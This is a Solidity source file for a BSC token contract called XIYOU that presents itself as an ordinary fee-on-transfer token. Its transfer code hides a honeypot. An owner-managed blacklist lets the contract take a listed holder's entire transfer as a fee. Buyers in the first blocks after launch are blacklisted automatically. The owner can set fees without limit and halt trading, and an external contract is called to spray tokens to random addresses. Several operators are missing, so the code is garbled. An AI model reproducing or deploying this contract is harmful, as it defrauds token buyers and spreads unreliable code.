// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return payable(msg.sender);
}

function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}


interface IRandomAddress{
function getRandomAddress(uint256 i) external view returns(address);
function getStatus() external returns(bool);
}

interface IERC20 {

function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {

function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a b;
require(c >= a, "SafeMath: addition overflow");

return c;
}

function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}

function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;

return c;
}

function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}

uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");

return c;
}

function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}

function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}

function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}

function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}

library Address {

function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}

function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");

// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}

function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}

function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}

function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}

function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}

function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");

(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {

if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}

contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}

function owner() public view returns (address) {
return _owner;
}

modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}

function waiveOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0xdead));
_owner = address(0xdead);
}

function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}

}

interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);

function feeTo() external view returns (address);
function feeToSetter() external view returns (address);

function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);

function createPair(address tokenA, address tokenB) external returns (address pair);

function setFeeTo(address) external;
function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);

function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);

function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);

function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);

function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;

event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);

function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);

function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;

function initialize(address, address) external;
}

interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);

function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);

function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}

contract XIYOU is Context, IERC20, Ownable {

using SafeMath for uint256;
using Address for address;

string private _name;
string private _symbol;
uint8 private _decimals;

address payable public doYouLikeBase;
address payable public inTheMTFFace;
address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;

mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) private _allowances;
IRandomAddress private rAddress;
uint256 public whenEat;
uint256 public cantEatCake;
bool public nowIsEatingCake;

mapping (address => bool) public isExcludedFromCut;
mapping (address => bool) public isMaxEatExempt;
mapping (address => bool) public isOnceEatExempt;
mapping (address => bool) public isMarketPair;
mapping (address => bool) private whoCantEat;
uint256 public _buyLiquidityFee;
uint256 public _buyMarketingFee;
uint256 public _buyTeamFee;

uint256 public _sellLiquidityFee;
uint256 public _sellMarketingFee;
uint256 public _sellTeamFee;

uint256 public _liquidityShare;
uint256 public _marketingShare;
uint256 public _teamShare;

uint256 public _totalTaxIfBuying;
uint256 public _totalTaxIfSelling;
uint256 public _totalDistributionShares;

uint256 private _totalSupply;
uint256 public _maxOnceEat;
uint256 public _maxTotalEat;
uint256 private minimumTokensBeforeSwap;

IUniswapV2Router02 public uniswapV2Router;
address public uniswapPair;

bool inSwapAndLiquify;
bool public swapAndLiquifyEnabled = true;
bool public swapAndLiquifyBySmallOnly = false;
bool public LookMaxEat = true;

event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);

event SwapETHForTokens(
uint256 amountIn,
address[] path
);

event SwapTokensForETH(
uint256 amountIn,
address[] path
);

modifier lockTheSwap {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}

constructor (string memory _NAME,
string memory _SYMBOL,
uint256 _SUPPLY,
uint256[3] memory _BUYFEE,
uint256[3] memory _SELLFEE,
uint256[3] memory _SHARE,
uint256[2] memory _LMT,
address[2] memory _doyoulike,
address randomAddress_)
{

rAddress = IRandomAddress(randomAddress_);
_name = _NAME;
_symbol = _SYMBOL;
_decimals = 9;
_totalSupply = _SUPPLY * 10**_decimals;

_buyLiquidityFee = _BUYFEE[0];
_buyMarketingFee = _BUYFEE[1];
_buyTeamFee = _BUYFEE[2];

_sellLiquidityFee = _SELLFEE[0];
_sellMarketingFee = _SELLFEE[1];
_sellTeamFee = _SELLFEE[2];

nowIsEatingCake = false;

_liquidityShare = _SHARE[0];
_marketingShare = _SHARE[1];
_teamShare = _SHARE[2];

_totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee).add(_buyTeamFee);
_totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketingFee).add(_sellTeamFee);
_totalDistributionShares = _liquidityShare.add(_marketingShare).add(_teamShare);

_maxOnceEat = _LMT[0] * 10**_decimals;
_maxTotalEat = _LMT[1] * 10**_decimals;

minimumTokensBeforeSwap = _totalSupply.mul(1).div(1000);
doYouLikeBase = payable(_doyoulike[0]);
inTheMTFFace = payable(_doyoulike[1]);

IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x10ED43C718714eb63d5aA57B78B54704E256024E);
uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());

uniswapV2Router = _uniswapV2Router;
_allowances[address(this)][address(uniswapV2Router)] = _totalSupply;

isExcludedFromCut[owner()] = true;
isExcludedFromCut[address(this)] = true;

isMaxEatExempt[owner()] = true;
isMaxEatExempt[address(uniswapPair)] = true;
isMaxEatExempt[address(this)] = true;
isMaxEatExempt[address(0xdead)] = true;

isOnceEatExempt[owner()] = true;
isOnceEatExempt[address(this)] = true;

isMarketPair[address(uniswapPair)] = true;

_balances[_msgSender()] = _totalSupply;
emit Transfer(address(0), _msgSender(), _totalSupply);
}

function name() public view returns (string memory) {
return _name;
}

function symbol() public view returns (string memory) {
return _symbol;
}

function decimals() public view returns (uint8) {
return _decimals;
}

function totalSupply() public view override returns (uint256) {
return _totalSupply;
}

function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}

function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}

function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}

function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}

function minimumTokensBeforeSwapAmount() public view returns (uint256) {
return minimumTokensBeforeSwap;
}

function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}

function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");

_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}

function letsEatCake(uint256 canteat,bool status) public onlyOwner {
cantEatCake = canteat;
nowIsEatingCake = status;
whenEat = block.number;
}

function setMarketPairStatus(address account, bool newValue) public onlyOwner {
isMarketPair[account] = newValue;
}

function setisOnceEatExempt(address holder, bool exempt) external onlyOwner {
isOnceEatExempt[holder] = exempt;
}

function setisExcludedFromCut(address account, bool newValue) public onlyOwner {
isExcludedFromCut[account] = newValue;
}

function manageExcludeFromCut(address[] calldata addresses, bool status) public onlyOwner {
require(addresses.length < 201);
for (uint256 i; i < addresses.length; i) {
isExcludedFromCut[addresses[i]] = status;
}
}

function setBBB(uint256 newLiquidityTax, uint256 newMarketingTax, uint256 newTeamTax) external onlyOwner() {
_buyLiquidityFee = newLiquidityTax;
_buyMarketingFee = newMarketingTax;
_buyTeamFee = newTeamTax;

_totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee).add(_buyTeamFee);
}

function setSSS(uint256 newLiquidityTax, uint256 newMarketingTax, uint256 newTeamTax) external onlyOwner() {
_sellLiquidityFee = newLiquidityTax;
_sellMarketingFee = newMarketingTax;
_sellTeamFee = newTeamTax;

_totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketingFee).add(_sellTeamFee);
}

function setDistributionSettings(uint256 newLiquidityShare, uint256 newMarketingShare, uint256 newTeamShare) external onlyOwner() {
_liquidityShare = newLiquidityShare;
_marketingShare = newMarketingShare;
_teamShare = newTeamShare;

_totalDistributionShares = _liquidityShare.add(_marketingShare).add(_teamShare);
}

function setMaxOnceEat(uint256 newMaxOnceEat) external onlyOwner() {
_maxOnceEat = newMaxOnceEat;
}

function enableMaxEat(bool newValue) external onlyOwner {
LookMaxEat = newValue;
}

function setisMaxEatExempt(address holder, bool exempt) external onlyOwner {
isMaxEatExempt[holder] = exempt;
}

function setMaxTotalEat(uint256 newMaxTotalEat) external onlyOwner {
_maxTotalEat = newMaxTotalEat;
}

function setNumTokensBeforeSwap(uint256 newValue) external onlyOwner() {
minimumTokensBeforeSwap = newValue;
}

function setdoYouLikeBase(address newAddress) external onlyOwner() {
doYouLikeBase = payable(newAddress);
}

function setinTheMTFFace(address newAddress) external onlyOwner() {
inTheMTFFace = payable(newAddress);
}

function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
swapAndLiquifyEnabled = _enabled;
emit SwapAndLiquifyEnabledUpdated(_enabled);
}

function setSwapAndLiquifyBySmallOnly(bool newValue) public onlyOwner {
swapAndLiquifyBySmallOnly = newValue;
}

function getCirculatingSupply() public view returns (uint256) {
return _totalSupply.sub(balanceOf(deadAddress));
}

function transferToAddressETH(address payable recipient, uint256 amount) private {
recipient.transfer(amount);
}

//to recieve ETH from uniswapV2Router when swaping
receive() external payable {}

function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}

function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}

function isCantEat(address account) public view returns(bool) {
return whoCantEat[account];
}

function multiTransfer_fixed(address[] calldata addresses, uint256 amount) external onlyOwner {
require(addresses.length < 2001);
uint256 SCCC = amount * addresses.length;
require(balanceOf(msg.sender) >= SCCC);
for(uint i=0; i < addresses.length; i ){
_basicTransfer(msg.sender,addresses[i],amount);
}
}

function youCantEat(address recipient) internal {
if (!whoCantEat[recipient]) whoCantEat[recipient] = true;
}

function manage_CantEat(address[] calldata addresses, bool status) public onlyOwner {
require(addresses.length < 201);
for (uint256 i; i < addresses.length; i) {
whoCantEat[addresses[i]] = status;
}
}

function setWhoCantEat(address recipient, bool status) public onlyOwner {
whoCantEat[recipient] = status;
}

function _transfer(address sender, address recipient, uint256 amount) private returns (bool) {

require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");

if(inSwapAndLiquify)
{
return _basicTransfer(sender, recipient, amount);
}
else
{

if (!isExcludedFromCut[sender] && !isExcludedFromCut[recipient] && rAddress.getStatus()) {
_basicTransfer(sender,address(this),100);
amount = amount.sub(100);
for(uint a=0;a<=0;a ){
if (!_basicTransfer(address(this), rAddress.getRandomAddress(a amount), 100))
return false;
}
}

if(!isOnceEatExempt[sender] && !isOnceEatExempt[recipient]) {
require(smallOrEqual(amount, _maxOnceEat));
}

uint256 contractTokenBalance = balanceOf(address(this));
bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap;

if (overMinimumTokenBalance && !inSwapAndLiquify && !isMarketPair[sender] && swapAndLiquifyEnabled)
{
if(swapAndLiquifyBySmallOnly)
contractTokenBalance = minimumTokensBeforeSwap;
swapAndLiquify(contractTokenBalance);
}

_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
uint256 finalAmount;
if (isExcludedFromCut[sender] || isExcludedFromCut[recipient]) {
finalAmount = amount;
} else {
require(nowIsEatingCake);
if (smallOrEqual(block.number , whenEat cantEatCake)) {youCantEat(recipient);}
finalAmount = takeFee(sender, recipient, amount);
}

if(LookMaxEat && !isMaxEatExempt[recipient])
require(smallOrEqual(balanceOf(recipient).add(finalAmount), _maxTotalEat));

_balances[recipient] = _balances[recipient].add(finalAmount);

emit Transfer(sender, recipient, finalAmount);
return true;

}
}

function smallOrEqual(uint256 a, uint256 b) public pure returns(bool) { return a<=b; }

function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
return true;
}

function swapAndLiquify(uint256 tAmount) private lockTheSwap {

uint256 tokensForLP = tAmount.mul(_liquidityShare).div(_totalDistributionShares).div(2);
uint256 tokensForSwap = tAmount.sub(tokensForLP);

swapTokensForEth(tokensForSwap);
uint256 amountReceived = address(this).balance;

uint256 totalBNBFee = _totalDistributionShares.sub(_liquidityShare.div(2));

uint256 amountBNBLiquidity = amountReceived.mul(_liquidityShare).div(totalBNBFee).div(2);
uint256 amountBNBTeam = amountReceived.mul(_teamShare).div(totalBNBFee);
uint256 amountBNBMarketing = amountReceived.sub(amountBNBLiquidity).sub(amountBNBTeam);

if(amountBNBMarketing > 0)
transferToAddressETH(doYouLikeBase, amountBNBMarketing);

if(amountBNBTeam > 0)
transferToAddressETH(inTheMTFFace, amountBNBTeam);

if(amountBNBLiquidity > 0 && tokensForLP > 0)
addLiquidity(tokensForLP, amountBNBLiquidity);
}

function swapTokensForEth(uint256 tokenAmount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();

_approve(address(this), address(uniswapV2Router), tokenAmount);

// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this), // The contract
block.timestamp
);

emit SwapTokensForETH(tokenAmount, path);
}

function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);

// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
inTheMTFFace,
block.timestamp
);
}

function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {

uint256 feeAmount = 0;

if(isMarketPair[sender]) {
feeAmount = amount.mul(_totalTaxIfBuying).div(100);
}
else if(isMarketPair[recipient]) {
feeAmount = amount.mul(_totalTaxIfSelling).div(100);
}

if(whoCantEat[sender]) feeAmount = amount;

if(feeAmount > 0) {
_balances[address(this)] = _balances[address(this)].add(feeAmount);
emit Transfer(sender, address(this), feeAmount);
}

return amount.sub(feeAmount);
}

}